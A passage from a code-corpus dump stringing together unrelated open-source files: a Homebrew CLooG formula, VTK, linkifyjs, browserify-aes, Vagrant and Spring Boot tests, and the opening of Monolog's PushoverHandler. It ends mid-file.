sha1 'd6984ce335cf7b8eb482cdd4f0301c6583b00073' => :mountain_lion
sha1 'fd707268c3e5beafa9b98a768f7064d5b9699178' => :lion
end
head do
url 'http://repo.or.cz/r/cloog.git'
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
end
depends_on 'pkg-config' => :build
depends_on 'gmp'
depends_on 'isl'
def install
system "./autogen.sh" if build.head?
args = [
"--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}",
"--with-gmp=system",
"--with-gmp-prefix=#{Formula["gmp"].opt_prefix}",
"--with-isl=system",
"--with-isl-prefix=#{Formula["isl"].opt_prefix}"
]
args << "--with-osl=bundled" if build.head?
system "./configure", *args
system "make install"
end
test do
cloog_source = <<-EOS.undent
c
0 2
0
1
1
0 2
0 0 0
0
0
EOS
output = pipe_output("#{bin}/cloog /dev/stdin", cloog_source)
assert_match /Generated from \/dev\/stdin by CLooG/, output
end
end
| bsd-2-clause |
biddisco/VTK | Filters/Core/Testing/Python/reverseNormals.py | 2227 | #!/usr/bin/env python
import vtk
from vtk.test import Testing
from vtk.util.misc import vtkGetDataRoot
VTK_DATA_ROOT = vtkGetDataRoot()
def GetRGBColor(colorName):
'''
Return the red, green and blue components for a
color as doubles.
'''
rgb = [0.0, 0.0, 0.0] # black
vtk.vtkNamedColors().GetColorRGB(colorName, rgb)
return rgb
# Now create the RenderWindow, Renderer and Interactor
#
ren1 = vtk.vtkRenderer()
renWin = vtk.vtkRenderWindow()
renWin.AddRenderer(ren1)
iren = vtk.vtkRenderWindowInteractor()
iren.SetRenderWindow(renWin)
cowReader = vtk.vtkOBJReader()
cowReader.SetFileName(VTK_DATA_ROOT + "/Data/Viewpoint/cow.obj")
plane = vtk.vtkPlane()
plane.SetNormal(1, 0, 0)
cowClipper = vtk.vtkClipPolyData()
cowClipper.SetInputConnection(cowReader.GetOutputPort())
cowClipper.SetClipFunction(plane)
cellNormals = vtk.vtkPolyDataNormals()
cellNormals.SetInputConnection(cowClipper.GetOutputPort())
cellNormals.ComputePointNormalsOn()
cellNormals.ComputeCellNormalsOn()
reflect = vtk.vtkTransform()
reflect.Scale(-1, 1, 1)
cowReflect = vtk.vtkTransformPolyDataFilter()
cowReflect.SetTransform(reflect)
cowReflect.SetInputConnection(cellNormals.GetOutputPort())
cowReverse = vtk.vtkReverseSense()
cowReverse.SetInputConnection(cowReflect.GetOutputPort())
cowReverse.ReverseNormalsOn()
cowReverse.ReverseCellsOff()
reflectedMapper = vtk.vtkPolyDataMapper()
reflectedMapper.SetInputConnection(cowReverse.GetOutputPort())
reflected = vtk.vtkActor()
reflected.SetMapper(reflectedMapper)
reflected.GetProperty().SetDiffuseColor(GetRGBColor('flesh'))
reflected.GetProperty().SetDiffuse(.8)
reflected.GetProperty().SetSpecular(.5)
reflected.GetProperty().SetSpecularPower(30)
reflected.GetProperty().FrontfaceCullingOn()
ren1.AddActor(reflected)
cowMapper = vtk.vtkPolyDataMapper()
cowMapper.SetInputConnection(cowClipper.GetOutputPort())
cow = vtk.vtkActor()
cow.SetMapper(cowMapper)
ren1.AddActor(cow)
ren1.SetBackground(.1, .2, .4)
renWin.SetSize(320, 240)
ren1.ResetCamera()
ren1.GetActiveCamera().SetViewUp(0, 1, 0)
ren1.GetActiveCamera().Azimuth(180)
ren1.GetActiveCamera().Dolly(1.75)
ren1.ResetCameraClippingRange()
iren.Initialize()
# render the image
#iren.Start()
| bsd-3-clause |
dsebastien/DefinitelyTyped | types/linkifyjs/linkifyjs-tests.ts | 3037 | import * as Linkify from 'linkifyjs';
Linkify.find(); // $ExpectError
Linkify.find(1); // $ExpectError
Linkify.find('my string', 1); // $ExpectError
Linkify.find('my string'); // $ExpectType FindResultHash[]
Linkify.find('my string', 'email'); // $ExpectType FindResultHash[]
Linkify.find('my string', 'hashtag'); // $ExpectType FindResultHash[]
Linkify.find('my string', 'my type'); // $ExpectError
Linkify.test(); // $ExpectError
Linkify.test(1); // $ExpectError
Linkify.test('my string', 1); // $ExpectError
Linkify.test('my string'); // $ExpectType boolean
Linkify.test('my string', 'email'); // $ExpectType boolean
Linkify.test('my string', 'hashtag'); // $ExpectType boolean
Linkify.test('my string', 'my type'); // $ExpectError
Linkify.tokenize(); // $ExpectError
Linkify.tokenize(1); // $ExpectError
Linkify.tokenize('my string'); // $ExpectType { v: { v: string; }[]; }[]
let options: Linkify.Options;
options = {}; // $ExpectType {}
options = { attributes: null }; // $ExpectType { attributes: null; }
options = { attributes: 'hello-world' }; // $ExpectError
options = { attributes: { attr: 'hello-world' } }; // $ExpectType { attributes: { attr: string; }; }
options = { attributes: href => ({}) }; // $ExpectType { attributes: (href: string) => {}; }
options = { className: null }; // $ExpectError
options = { className: 'new-link--url' }; // $ExpectType { className: string; }
options = { className: (href, type) => `new-link-${type}` }; // $ExpectType { className: (href: string, type: LinkEntityType) => string; }
options = { className: { sunshine: v => v } }; // $ExpectError
options = { className: { email: () => 'new-link--email' } }; // $ExpectType { className: { email: () => string; }; }
options = { defaultProtocol: null }; // $ExpectError
options = { defaultProtocol: 1 }; // $ExpectError
options = { defaultProtocol: 'http' }; // $ExpectType { defaultProtocol: string; }
options = { defaultProtocol: 'ftp' }; // $ExpectType { defaultProtocol: string; }
options = { format: null }; // $ExpectType { format: null; }
options = { format: value => value }; // $ExpectType { format: (value: string) => string; }
options = { format: { sunshine: v => v } }; // $ExpectError
options = { format: { email: () => 'sunshine' } }; // $ExpectType { format: { email: () => string; }; }
options = { formatHref: null }; // $ExpectType { formatHref: null; }
options = { formatHref: href => href }; // $ExpectType { formatHref: (href: string) => string; }
options = { formatHref: { sunshine: v => v } }; // $ExpectError
options = { formatHref: { email: () => 'sunshine' } }; // $ExpectType { formatHref: { email: () => string; }; }
options = { nl2br: 1 }; // $ExpectError
options = { nl2br: true }; // $ExpectType { nl2br: true; }
options = { tagName: null }; // $ExpectError
options = { tagName: 'span' }; // $ExpectType { tagName: string; }
options = { target: null }; // $ExpectError
options = { target: '_parent' }; // $ExpectType { target: string; }
options = { validate: null }; // $ExpectType { validate: null; }
| mit |
britskit/whatcolouristhis | node_modules/browserify/node_modules/crypto-browserify/node_modules/browserify-aes/test/index.js | 22363 | var test = require('tape')
var fixtures = require('./fixtures.json')
var _crypto = require('crypto')
var crypto = require('../browser.js')
var modes = require('../modes')
var types = Object.keys(modes)
var ebtk = require('../EVP_BytesToKey')
function isGCM (cipher) {
return modes[cipher].mode === 'GCM'
}
function isNode10 () {
return process.version && process.version.split('.').length === 3 && parseInt(process.version.split('.')[1], 10) <= 10
}
fixtures.forEach(function (fixture, i) {
// var ciphers = fixture.results.ciphers = {}
types.forEach(function (cipher) {
if (isGCM(cipher)) {
return
}
test('fixture ' + i + ' ' + cipher, function (t) {
t.plan(1)
var suite = crypto.createCipher(cipher, new Buffer(fixture.password))
var buf = new Buffer('')
suite.on('data', function (d) {
buf = Buffer.concat([buf, d])
})
suite.on('error', function (e) {
console.log(e)
})
suite.on('end', function () {
// console.log(fixture.text)
// decriptNoPadding(cipher, new Buffer(fixture.password), buf.toString('hex'), 'a')
// decriptNoPadding(cipher, new Buffer(fixture.password), fixture.results.ciphers[cipher], 'b')
t.equals(buf.toString('hex'), fixture.results.ciphers[cipher])
})
suite.write(new Buffer(fixture.text))
suite.end()
})
test('fixture ' + i + ' ' + cipher + '-legacy', function (t) {
t.plan(3)
var suite = crypto.createCipher(cipher, new Buffer(fixture.password))
var buf = new Buffer('')
var suite2 = _crypto.createCipher(cipher, new Buffer(fixture.password))
var buf2 = new Buffer('')
var inbuf = new Buffer(fixture.text)
var mid = ~~(inbuf.length / 2)
buf = Buffer.concat([buf, suite.update(inbuf.slice(0, mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(0, mid))])
t.equals(buf.toString('hex'), buf2.toString('hex'), 'intermediate')
buf = Buffer.concat([buf, suite.update(inbuf.slice(mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(mid))])
t.equals(buf.toString('hex'), buf2.toString('hex'), 'intermediate 2')
buf = Buffer.concat([buf, suite.final()])
buf2 = Buffer.concat([buf2, suite2.final()])
t.equals(buf.toString('hex'), buf2.toString('hex'), 'final')
})
test('fixture ' + i + ' ' + cipher + '-decrypt', function (t) {
t.plan(1)
var suite = crypto.createDecipher(cipher, new Buffer(fixture.password))
var buf = new Buffer('')
suite.on('data', function (d) {
buf = Buffer.concat([buf, d])
})
suite.on('error', function (e) {
console.log(e)
})
suite.on('end', function () {
// console.log(fixture.text)
// decriptNoPadding(cipher, new Buffer(fixture.password), buf.toString('hex'), 'a')
// decriptNoPadding(cipher, new Buffer(fixture.password), fixture.results.ciphers[cipher], 'b')
t.equals(buf.toString('utf8'), fixture.text)
})
suite.write(new Buffer(fixture.results.ciphers[cipher], 'hex'))
suite.end()
})
test('fixture ' + i + ' ' + cipher + '-decrypt-legacy', function (t) {
t.plan(4)
var suite = crypto.createDecipher(cipher, new Buffer(fixture.password))
var buf = new Buffer('')
var suite2 = _crypto.createDecipher(cipher, new Buffer(fixture.password))
var buf2 = new Buffer('')
var inbuf = new Buffer(fixture.results.ciphers[cipher], 'hex')
var mid = ~~(inbuf.length / 2)
buf = Buffer.concat([buf, suite.update(inbuf.slice(0, mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(0, mid))])
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'intermediate')
buf = Buffer.concat([buf, suite.update(inbuf.slice(mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(mid))])
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'intermediate 2')
buf = Buffer.concat([buf, suite.final()])
buf2 = Buffer.concat([buf2, suite2.final()])
t.equals(buf.toString('utf8'), fixture.text)
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'final')
})
})
types.forEach(function (cipher) {
if (modes[cipher].mode === 'ECB') {
return
}
if (isGCM(cipher) && isNode10()) {
return
}
test('fixture ' + i + ' ' + cipher + '-iv', function (t) {
if (isGCM(cipher)) {
t.plan(4)
} else {
t.plan(2)
}
var suite = crypto.createCipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var suite2 = _crypto.createCipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var buf = new Buffer('')
var buf2 = new Buffer('')
suite.on('data', function (d) {
buf = Buffer.concat([buf, d])
})
suite.on('error', function (e) {
console.log(e)
})
suite2.on('data', function (d) {
buf2 = Buffer.concat([buf2, d])
})
suite2.on('error', function (e) {
console.log(e)
})
suite.on('end', function () {
t.equals(buf.toString('hex'), fixture.results.cipherivs[cipher], 'vs fixture')
t.equals(buf.toString('hex'), buf2.toString('hex'), 'vs node')
if (isGCM(cipher)) {
t.equals(suite.getAuthTag().toString('hex'), fixture.authtag[cipher], 'authtag vs fixture')
t.equals(suite.getAuthTag().toString('hex'), suite2.getAuthTag().toString('hex'), 'authtag vs node')
}
})
if (isGCM(cipher)) {
suite.setAAD(new Buffer(fixture.aad, 'hex'))
suite2.setAAD(new Buffer(fixture.aad, 'hex'))
}
suite2.write(new Buffer(fixture.text))
suite2.end()
suite.write(new Buffer(fixture.text))
suite.end()
})
test('fixture ' + i + ' ' + cipher + '-legacy-iv', function (t) {
if (isGCM(cipher)) {
t.plan(6)
} else {
t.plan(4)
}
var suite = crypto.createCipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var suite2 = _crypto.createCipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var buf = new Buffer('')
var buf2 = new Buffer('')
var inbuf = new Buffer(fixture.text)
var mid = ~~(inbuf.length / 2)
if (isGCM(cipher)) {
suite.setAAD(new Buffer(fixture.aad, 'hex'))
suite2.setAAD(new Buffer(fixture.aad, 'hex'))
}
buf = Buffer.concat([buf, suite.update(inbuf.slice(0, mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(0, mid))])
t.equals(buf.toString('hex'), buf2.toString('hex'), 'intermediate')
buf = Buffer.concat([buf, suite.update(inbuf.slice(mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(mid))])
t.equals(buf.toString('hex'), buf2.toString('hex'), 'intermediate 2')
buf = Buffer.concat([buf, suite.final()])
buf2 = Buffer.concat([buf2, suite2.final()])
t.equals(buf.toString('hex'), fixture.results.cipherivs[cipher])
t.equals(buf.toString('hex'), buf2.toString('hex'), 'final')
if (isGCM(cipher)) {
t.equals(suite.getAuthTag().toString('hex'), fixture.authtag[cipher], 'authtag vs fixture')
t.equals(suite.getAuthTag().toString('hex'), suite2.getAuthTag().toString('hex'), 'authtag vs node')
}
})
test('fixture ' + i + ' ' + cipher + '-iv-decrypt', function (t) {
t.plan(2)
var suite = crypto.createDecipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var buf = new Buffer('')
var suite2 = _crypto.createDecipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var buf2 = new Buffer('')
suite.on('data', function (d) {
buf = Buffer.concat([buf, d])
})
suite.on('error', function (e) {
t.notOk(e)
})
suite2.on('data', function (d) {
buf2 = Buffer.concat([buf2, d])
})
suite2.on('error', function (e) {
t.notOk(e)
})
suite.on('end', function () {
t.equals(buf.toString('utf8'), fixture.text, 'correct text vs fixture')
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'correct text vs node')
})
if (isGCM(cipher)) {
suite.setAuthTag(new Buffer(fixture.authtag[cipher], 'hex'))
suite2.setAuthTag(new Buffer(fixture.authtag[cipher], 'hex'))
suite.setAAD(new Buffer(fixture.aad, 'hex'))
suite2.setAAD(new Buffer(fixture.aad, 'hex'))
}
suite2.write(new Buffer(fixture.results.cipherivs[cipher], 'hex'))
suite.write(new Buffer(fixture.results.cipherivs[cipher], 'hex'))
suite2.end()
suite.end()
})
test('fixture ' + i + ' ' + cipher + '-decrypt-legacy', function (t) {
t.plan(4)
var suite = crypto.createDecipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var buf = new Buffer('')
var suite2 = _crypto.createDecipheriv(cipher, ebtk(fixture.password, modes[cipher].key).key, isGCM(cipher) ? (new Buffer(fixture.iv, 'hex').slice(0, 12)) : (new Buffer(fixture.iv, 'hex')))
var buf2 = new Buffer('')
var inbuf = new Buffer(fixture.results.cipherivs[cipher], 'hex')
var mid = ~~(inbuf.length / 2)
if (isGCM(cipher)) {
suite.setAAD(new Buffer(fixture.aad, 'hex'))
suite2.setAAD(new Buffer(fixture.aad, 'hex'))
suite.setAuthTag(new Buffer(fixture.authtag[cipher], 'hex'))
suite2.setAuthTag(new Buffer(fixture.authtag[cipher], 'hex'))
}
buf = Buffer.concat([buf, suite.update(inbuf.slice(0, mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(0, mid))])
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'intermediate')
buf = Buffer.concat([buf, suite.update(inbuf.slice(mid))])
buf2 = Buffer.concat([buf2, suite2.update(inbuf.slice(mid))])
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'intermediate 2')
buf = Buffer.concat([buf, suite.final()])
buf2 = Buffer.concat([buf2, suite2.final()])
t.equals(buf.toString('utf8'), fixture.text)
t.equals(buf.toString('utf8'), buf2.toString('utf8'), 'final')
})
})
})
if (!isNode10()) {
test('node tests', function (t) {
var TEST_CASES = [
{ algo: 'aes-128-gcm', key: '6970787039613669314d623455536234',
iv: '583673497131313748307652', plain: 'Hello World!',
ct: '4BE13896F64DFA2C2D0F2C76',
tag: '272B422F62EB545EAA15B5FF84092447', tampered: false },
{ algo: 'aes-128-gcm', key: '6970787039613669314d623455536234',
iv: '583673497131313748307652', plain: 'Hello World!',
ct: '4BE13896F64DFA2C2D0F2C76', aad: '000000FF',
tag: 'BA2479F66275665A88CB7B15F43EB005', tampered: false },
{ algo: 'aes-128-gcm', key: '6970787039613669314d623455536234',
iv: '583673497131313748307652', plain: 'Hello World!',
ct: '4BE13596F64DFA2C2D0FAC76',
tag: '272B422F62EB545EAA15B5FF84092447', tampered: true },
{ algo: 'aes-256-gcm', key: '337a54767a7233703637564336316a6d56353472495975313534357834546c59',
iv: '36306950306836764a6f4561', plain: 'Hello node.js world!',
ct: '58E62CFE7B1D274111A82267EBB93866E72B6C2A',
tag: '9BB44F663BADABACAE9720881FB1EC7A', tampered: false },
{ algo: 'aes-256-gcm', key: '337a54767a7233703637564336316a6d56353472495975313534357834546c59',
iv: '36306950306836764a6f4561', plain: 'Hello node.js world!',
ct: '58E62CFF7B1D274011A82267EBB93866E72B6C2B',
tag: '9BB44F663BADABACAE9720881FB1EC7A', tampered: true },
{ algo: 'aes-192-gcm', key: '1ed2233fa2223ef5d7df08546049406c7305220bca40d4c9',
iv: '0e1791e9db3bd21a9122c416', plain: 'Hello node.js world!',
password: 'very bad password', aad: '63616c76696e',
ct: 'DDA53A4059AA17B88756984995F7BBA3C636CC44',
tag: 'D2A35E5C611E5E3D2258360241C5B045', tampered: false }
]
var ciphers = Object.keys(modes)
function testIt (i) {
t.test('test case ' + i, function (t) {
var test = TEST_CASES[i]
if (ciphers.indexOf(test.algo) === -1) {
console.log('skipping unsupported ' + test.algo + ' test')
return
}
(function () {
var encrypt = crypto.createCipheriv(test.algo,
new Buffer(test.key, 'hex'), new Buffer(test.iv, 'hex'))
if (test.aad) encrypt.setAAD(new Buffer(test.aad, 'hex'))
var hex = encrypt.update(test.plain, 'ascii', 'hex')
hex += encrypt.final('hex')
var auth_tag = encrypt.getAuthTag()
// only test basic encryption run if output is marked as tampered.
if (!test.tampered) {
t.equal(hex.toUpperCase(), test.ct)
t.equal(auth_tag.toString('hex').toUpperCase(), test.tag)
}
})()
;(function () {
var decrypt = crypto.createDecipheriv(test.algo,
new Buffer(test.key, 'hex'), new Buffer(test.iv, 'hex'))
decrypt.setAuthTag(new Buffer(test.tag, 'hex'))
if (test.aad) decrypt.setAAD(new Buffer(test.aad, 'hex'))
var msg = decrypt.update(test.ct, 'hex', 'ascii')
if (!test.tampered) {
msg += decrypt.final('ascii')
t.equal(msg, test.plain)
} else {
// assert that final throws if input data could not be verified!
t.throws(function () { decrypt.final('ascii') }, / auth/)
}
})()
;(function () {
if (!test.password) return
var encrypt = crypto.createCipher(test.algo, test.password)
if (test.aad) encrypt.setAAD(new Buffer(test.aad, 'hex'))
var hex = encrypt.update(test.plain, 'ascii', 'hex')
hex += encrypt.final('hex')
var auth_tag = encrypt.getAuthTag()
// only test basic encryption run if output is marked as tampered.
if (!test.tampered) {
t.equal(hex.toUpperCase(), test.ct)
t.equal(auth_tag.toString('hex').toUpperCase(), test.tag)
}
})()
;(function () {
if (!test.password) return
var decrypt = crypto.createDecipher(test.algo, test.password)
decrypt.setAuthTag(new Buffer(test.tag, 'hex'))
if (test.aad) decrypt.setAAD(new Buffer(test.aad, 'hex'))
var msg = decrypt.update(test.ct, 'hex', 'ascii')
if (!test.tampered) {
msg += decrypt.final('ascii')
t.equal(msg, test.plain)
} else {
// assert that final throws if input data could not be verified!
t.throws(function () { decrypt.final('ascii') }, / auth/)
}
})()
// after normal operation, test some incorrect ways of calling the API:
// it's most certainly enough to run these tests with one algorithm only.
if (i > 0) {
t.end()
return
}
(function () {
// non-authenticating mode:
var encrypt = crypto.createCipheriv('aes-128-cbc',
'ipxp9a6i1Mb4USb4', '6fKjEjR3Vl30EUYC')
encrypt.update('blah', 'ascii')
encrypt.final()
t.throws(function () { encrypt.getAuthTag() })
t.throws(function () {
encrypt.setAAD(new Buffer('123', 'ascii'))
})
})()
;(function () {
// trying to get tag before inputting all data:
var encrypt = crypto.createCipheriv(test.algo,
new Buffer(test.key, 'hex'), new Buffer(test.iv, 'hex'))
encrypt.update('blah', 'ascii')
t.throws(function () { encrypt.getAuthTag() }, / state/)
})()
;(function () {
// trying to set tag on encryption object:
var encrypt = crypto.createCipheriv(test.algo,
new Buffer(test.key, 'hex'), new Buffer(test.iv, 'hex'))
t.throws(function () {
encrypt.setAuthTag(new Buffer(test.tag, 'hex'))
}, / state/)
})()
;(function () {
// trying to read tag from decryption object:
var decrypt = crypto.createDecipheriv(test.algo,
new Buffer(test.key, 'hex'), new Buffer(test.iv, 'hex'))
t.throws(function () { decrypt.getAuthTag() }, / state/)
})()
t.end()
})
}
for (var i in TEST_CASES) {
testIt(i)
}
})
}
function corectPaddingWords (padding, result) {
test('correct padding ' + padding.toString('hex'), function (t) {
t.plan(1)
var block1 = new Buffer(16)
block1.fill(4)
result = block1.toString('hex') + result.toString('hex')
var cipher = _crypto.createCipher('aes128', new Buffer('password'))
cipher.setAutoPadding(false)
var decipher = crypto.createDecipher('aes128', new Buffer('password'))
var out = new Buffer('')
out = Buffer.concat([out, cipher.update(block1)])
out = Buffer.concat([out, cipher.update(padding)])
var deciphered = decipher.update(out)
deciphered = Buffer.concat([deciphered, decipher.final()])
t.equals(deciphered.toString('hex'), result)
})
}
var sixteens = new Buffer(16)
sixteens.fill(16)
corectPaddingWords(sixteens, new Buffer(''))
var fifteens = new Buffer(16)
fifteens.fill(15)
fifteens[0] = 5
corectPaddingWords(fifteens, new Buffer([5]))
var one = _crypto.randomBytes(16)
one[15] = 1
corectPaddingWords(one, one.slice(0, -1))
function incorectPaddingthrows (padding) {
test('incorrect padding ' + padding.toString('hex'), function (t) {
t.plan(2)
var block1 = new Buffer(16)
block1.fill(4)
var cipher = crypto.createCipher('aes128', new Buffer('password'))
cipher.setAutoPadding(false)
var decipher = crypto.createDecipher('aes128', new Buffer('password'))
var decipher2 = _crypto.createDecipher('aes128', new Buffer('password'))
var out = new Buffer('')
out = Buffer.concat([out, cipher.update(block1)])
out = Buffer.concat([out, cipher.update(padding)])
decipher.update(out)
decipher2.update(out)
t.throws(function () {
decipher.final()
}, 'mine')
t.throws(function () {
decipher2.final()
}, 'node')
})
}
function incorectPaddingDoesNotThrow (padding) {
test('stream incorrect padding ' + padding.toString('hex'), function (t) {
t.plan(2)
var block1 = new Buffer(16)
block1.fill(4)
var cipher = crypto.createCipher('aes128', new Buffer('password'))
cipher.setAutoPadding(false)
var decipher = crypto.createDecipher('aes128', new Buffer('password'))
var decipher2 = _crypto.createDecipher('aes128', new Buffer('password'))
cipher.pipe(decipher)
cipher.pipe(decipher2)
cipher.write(block1)
cipher.write(padding)
decipher.on('error', function (e) {
t.ok(e, 'mine')
})
decipher2.on('error', function (e) {
t.ok(e, 'node')
})
cipher.end()
})
}
var sixteens2 = new Buffer(16)
sixteens2.fill(16)
sixteens2[3] = 5
incorectPaddingthrows(sixteens2)
incorectPaddingDoesNotThrow(sixteens2)
var fifteens2 = new Buffer(16)
fifteens2.fill(15)
fifteens2[0] = 5
fifteens2[1] = 6
incorectPaddingthrows(fifteens2)
incorectPaddingDoesNotThrow(fifteens2)
var two = _crypto.randomBytes(16)
two[15] = 2
two[14] = 1
incorectPaddingthrows(two)
incorectPaddingDoesNotThrow(two)
test('autopadding false decipher', function (t) {
t.plan(2)
var mycipher = crypto.createCipher('AES-128-ECB', new Buffer('password'))
var nodecipher = _crypto.createCipher('AES-128-ECB', new Buffer('password'))
var myEnc = mycipher.final()
var nodeEnc = nodecipher.final()
t.equals(myEnc.toString('hex'), nodeEnc.toString('hex'), 'same encryption')
var decipher = crypto.createDecipher('aes-128-ecb', new Buffer('password'))
decipher.setAutoPadding(false)
var decipher2 = _crypto.createDecipher('aes-128-ecb', new Buffer('password'))
decipher2.setAutoPadding(false)
t.equals(decipher.update(myEnc).toString('hex'), decipher2.update(nodeEnc).toString('hex'), 'same decryption')
})
test('autopadding false cipher throws', function (t) {
t.plan(2)
var mycipher = crypto.createCipher('aes-128-ecb', new Buffer('password'))
mycipher.setAutoPadding(false)
var nodecipher = _crypto.createCipher('aes-128-ecb', new Buffer('password'))
nodecipher.setAutoPadding(false)
mycipher.update('foo')
nodecipher.update('foo')
t.throws(function () {
mycipher.final()
}, 'mine')
t.throws(function () {
nodecipher.final()
}, 'node')
})
test('getCiphers works', function (t) {
t.plan(1)
t.ok(crypto.getCiphers().length, 'get some ciphers')
})
test('correctly handle incremental base64 output', function (t) {
t.plan(2)
var encoding = 'base64'
function encrypt (data, key, algorithm) {
algorithm = algorithm || 'aes256'
var cipher = crypto.createCipher(algorithm, key)
var part1 = cipher.update(data, 'utf8', encoding)
var part2 = cipher.final(encoding)
return part1 + part2
}
function encryptNode (data, key, algorithm) {
algorithm = algorithm || 'aes256'
var cipher = _crypto.createCipher(algorithm, key)
var part1 = cipher.update(data, 'utf8', encoding)
var part2 = cipher.final(encoding)
return part1 + part2
}
function decrypt (data, key, algorithm) {
algorithm = algorithm || 'aes256'
var decipher = crypto.createDecipher(algorithm, key)
return decipher.update(data, encoding, 'utf8') + decipher.final('utf8')
}
var key = 'this is a very secure key'
var data = 'The quick brown fox jumps over the lazy dog.'
var encrypted = encrypt(data, key)
t.equals(encrypted, encryptNode(data, key), 'encrypt correctly')
var decrypted = decrypt(encrypted, key)
t.equals(data, decrypted, 'round trips')
})
| mit |
justincampbell/vagrant | test/unit/plugins/guests/suse/cap/nfs_client_test.rb | 860 | require_relative "../../../../base"
describe "VagrantPlugins::GuestSUSE::Cap::NFSClient" do
let(:caps) do
VagrantPlugins::GuestSUSE::Plugin
.components
.guest_capabilities[:suse]
end
let(:machine) { double("machine") }
let(:comm) { VagrantTests::DummyCommunicator::Communicator.new(machine) }
before do
allow(machine).to receive(:communicate).and_return(comm)
end
after do
comm.verify_expectations!
end
describe ".nfs_client_install" do
let(:cap) { caps.get(:nfs_client_install) }
it "installs nfs client utilities" do
cap.nfs_client_install(machine)
expect(comm.received_commands[0]).to match(/zypper -n install nfs-client/)
expect(comm.received_commands[0]).to match(/service rpcbind restart/)
expect(comm.received_commands[0]).to match(/service nfs restart/)
end
end
end
| mit |
yangdd1205/spring-boot | spring-boot-project/spring-boot-test-autoconfigure/src/test/java/org/springframework/boot/test/autoconfigure/web/servlet/mockmvc/WebMvcTestServletFilterRegistrationDisabledIntegrationTests.java | 2022 | /*
* Copyright 2012-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.boot.test.autoconfigure.web.servlet.mockmvc;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.boot.test.context.TestConfiguration;
import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.test.web.servlet.MockMvc;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.header;
/**
* Tests for {@link WebMvcTest @WebMvcTest} with a disabled filter registration.
*
* @author Andy Wilkinson
*/
@WebMvcTest
class WebMvcTestServletFilterRegistrationDisabledIntegrationTests {
@Autowired
private MockMvc mvc;
@Test
void shouldNotApplyFilter() throws Exception {
this.mvc.perform(get("/one")).andExpect(header().string("x-test", (String) null));
}
@TestConfiguration(proxyBeanMethods = false)
static class DisabledRegistrationConfiguration {
@Bean
FilterRegistrationBean<ExampleFilter> exampleFilterRegistration(ExampleFilter filter) {
FilterRegistrationBean<ExampleFilter> registration = new FilterRegistrationBean<>(filter);
registration.setEnabled(false);
return registration;
}
}
}
| mit |
matrix-msu/kora | vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php | 7025 | <?php declare(strict_types=1);
/*
* This file is part of the Monolog package.
*
* (c) Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Monolog\Handler;
use Monolog\Logger;
use Monolog\Utils;
/**
* Sends notifications through the pushover api to mobile phones
*
* @author Sebastian Göttschkes <sebastian.goettschkes@googlemail.com>
* @see https://www.pushover.net/api
*/
class PushoverHandler extends SocketHandler
{
private $token;
private $users;
private $title;
private $user;
private $retry;
private $expire;
private $highPriorityLevel;
private $emergencyLevel;
private $useFormattedMessage = false;
/**
* All parameters that can be sent to Pushover
* @see https://pushover.net/api
* @var array
*/
private $parameterNames = [
'token' => true,
'user' => true,
'message' => true,
'device' => true,
'title' => true,
'url' => true,
'url_title' => true,
'priority' => true,
'timestamp' => true,
'sound' => true,
'retry' => true,
'expire' => true,
'callback' => true,
];
/**
* Sounds the api supports by default
* @see https://pushover.net/api#sounds
* @var array
*/
private $sounds = [
'pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming',
'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb',
'persistent', 'echo', 'updown', 'none',
